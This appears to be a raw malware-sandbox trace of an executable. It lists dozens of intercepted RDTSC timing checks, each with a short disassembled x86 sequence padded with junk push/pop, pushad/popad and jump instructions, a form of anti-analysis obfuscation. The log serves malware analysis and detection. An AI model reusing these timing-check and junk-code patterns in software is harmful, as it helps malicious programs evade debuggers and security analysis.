Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35925 second address: E3595C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F8784B30565h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8784B30565h 0x00000012 push ecx 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3595C second address: E35961 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35961 second address: E35969 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35969 second address: E35986 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35DBC second address: E35DC1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35DC1 second address: E35DD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8784D62266h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35DD2 second address: E35DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35F15 second address: E35F53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8784D62266h 0x0000000a popad 0x0000000b jmp 00007F8784D62277h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 jmp 00007F8784D6226Ah 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a jmp 00007F8784D6226Ch 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E36346 second address: E3634C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3634C second address: E36368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D62276h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E36368 second address: E3636E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3636E second address: E36378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E37266 second address: E3726A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3726A second address: E372C0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8784D62266h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e push edx 0x0000000f pop edx 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F8784D6226Eh 0x00000017 popad 0x00000018 pushad 0x00000019 ja 00007F8784D62266h 0x0000001f pushad 0x00000020 popad 0x00000021 jg 00007F8784D62266h 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007F8784D62273h 0x0000002f jmp 00007F8784D62270h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35043 second address: E35062 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F8784B30563h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35062 second address: E35072 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8784D62266h 0x00000008 je 00007F8784D62266h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E35072 second address: E35078 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3E9CA second address: E3E9F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8784D62270h 0x00000008 jne 00007F8784D62266h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 jc 00007F8784D6228Dh 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3E3C5 second address: E3E3C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3E3C9 second address: E3E3CF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E3E55E second address: E3E56B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E4E013 second address: E4E029 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F8784D62266h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 ja 00007F8784D62266h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E51208 second address: E51211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E55F80 second address: E55F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E55F86 second address: E55F8A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E55F8A second address: E55FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F8784D62271h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E55FA6 second address: E55FB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F8784B3055Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E5B5DA second address: E5B5E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8784D62266h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E5B5E6 second address: E5B5F0 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8784B30556h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D78A23 second address: D78A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: D78A29 second address: D78A32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E604F3 second address: E604FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E604FB second address: E604FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E604FF second address: E6050E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E6050E second address: E6051E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8784B3055Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E6051E second address: E60524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C1D second address: E61C23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C23 second address: E61C2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C2B second address: E61C33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C33 second address: E61C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C38 second address: E61C4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B30562h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C4F second address: E61C55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E61C55 second address: E61C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F8784B3055Eh 0x0000000f push edx 0x00000010 pop edx 0x00000011 jne 00007F8784B30556h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E69A6D second address: E69A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E6837F second address: E68383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E68383 second address: E68387 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E68387 second address: E683A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784B30565h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E68D5C second address: E68D62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E68D62 second address: E68D66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E6EC4E second address: E6EC8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F8784D62272h 0x0000000b jmp 00007F8784D62271h 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F8784D62266h 0x00000018 jmp 00007F8784D6226Fh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E7B40F second address: E7B413 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E7B413 second address: E7B439 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F8784D62276h 0x0000000b popad 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f jc 00007F8784D62266h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: E7F440 second address: E7F455 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F8784B30556h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jbe 00007F8784B30558h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6CF6 second address: EA6D3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F8784D62273h 0x0000000b jmp 00007F8784D6226Ch 0x00000010 jl 00007F8784D62266h 0x00000016 jmp 00007F8784D62275h 0x0000001b popad 0x0000001c popad 0x0000001d push edi 0x0000001e push eax 0x0000001f push edx 0x00000020 push edx 0x00000021 pop edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6D3F second address: EA6D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6D43 second address: EA6D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6D47 second address: EA6D4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6D4D second address: EA6D61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F8784D6226Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA5DC0 second address: EA5DC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA60A6 second address: EA60AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA60AC second address: EA60B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA60B0 second address: EA60B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA60B4 second address: EA60C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007F8784B3055Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6396 second address: EA639A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA639A second address: EA63A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA64E6 second address: EA64EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA66D2 second address: EA66D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA66D6 second address: EA6718 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62271h 0x00000007 jng 00007F8784D62266h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push edx 0x00000014 pop edx 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F8784D62274h 0x0000001c js 00007F8784D62266h 0x00000022 popad 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA6718 second address: EA671C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA671C second address: EA6728 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jnp 00007F8784D62266h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA85B4 second address: EA85DD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jo 00007F8784B30556h 0x00000009 jmp 00007F8784B3055Ah 0x0000000e pop edi 0x0000000f pushad 0x00000010 jmp 00007F8784B30560h 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EA844F second address: EA8459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F8784D62266h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAAF43 second address: EAAF50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAAF50 second address: EAAF56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAAF56 second address: EAAF5B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAB497 second address: EAB49C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAB49C second address: EAB514 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F8784B3055Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d mov dword ptr [ebp+122D24D5h], esi 0x00000013 push dword ptr [ebp+122D1B94h] 0x00000019 mov edx, dword ptr [ebp+1244EAB7h] 0x0000001f call 00007F8784B30559h 0x00000024 push edi 0x00000025 jmp 00007F8784B30565h 0x0000002a pop edi 0x0000002b push eax 0x0000002c jne 00007F8784B3056Eh 0x00000032 pushad 0x00000033 push ecx 0x00000034 pop ecx 0x00000035 jmp 00007F8784B30564h 0x0000003a popad 0x0000003b mov eax, dword ptr [esp+04h] 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 ja 00007F8784B30556h 0x00000048 jno 00007F8784B30556h 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAB514 second address: EAB532 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8784D62268h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F8784D6226Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAB532 second address: EAB54E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784B30568h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAB54E second address: EAB586 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784D62276h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 jmp 00007F8784D62274h 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE44C second address: EAE459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE459 second address: EAE466 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE466 second address: EAE473 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE473 second address: EAE477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE477 second address: EAE496 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8784B3055Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F8784B3055Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE496 second address: EAE4A0 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE01E second address: EAE039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8784B30566h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: EAE039 second address: EAE03E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: DC5E4B second address: DC5E4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500356 second address: 5500366 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8784D6226Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 5500366 second address: 550036A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\FBVmDbz2nb.exe	RDTSC instruction interceptor: First address: 550036A second address: 5500393 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 pushad 0x0000000a mov edx, eax 0x0000000c push esi 0x0000000d push edi 0x0000000e pop eax 0x0000000f pop edi 0x00000010 popad 0x00000011 mov dword ptr [esp], ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F8784D62273h 0x0000001b rdtsc
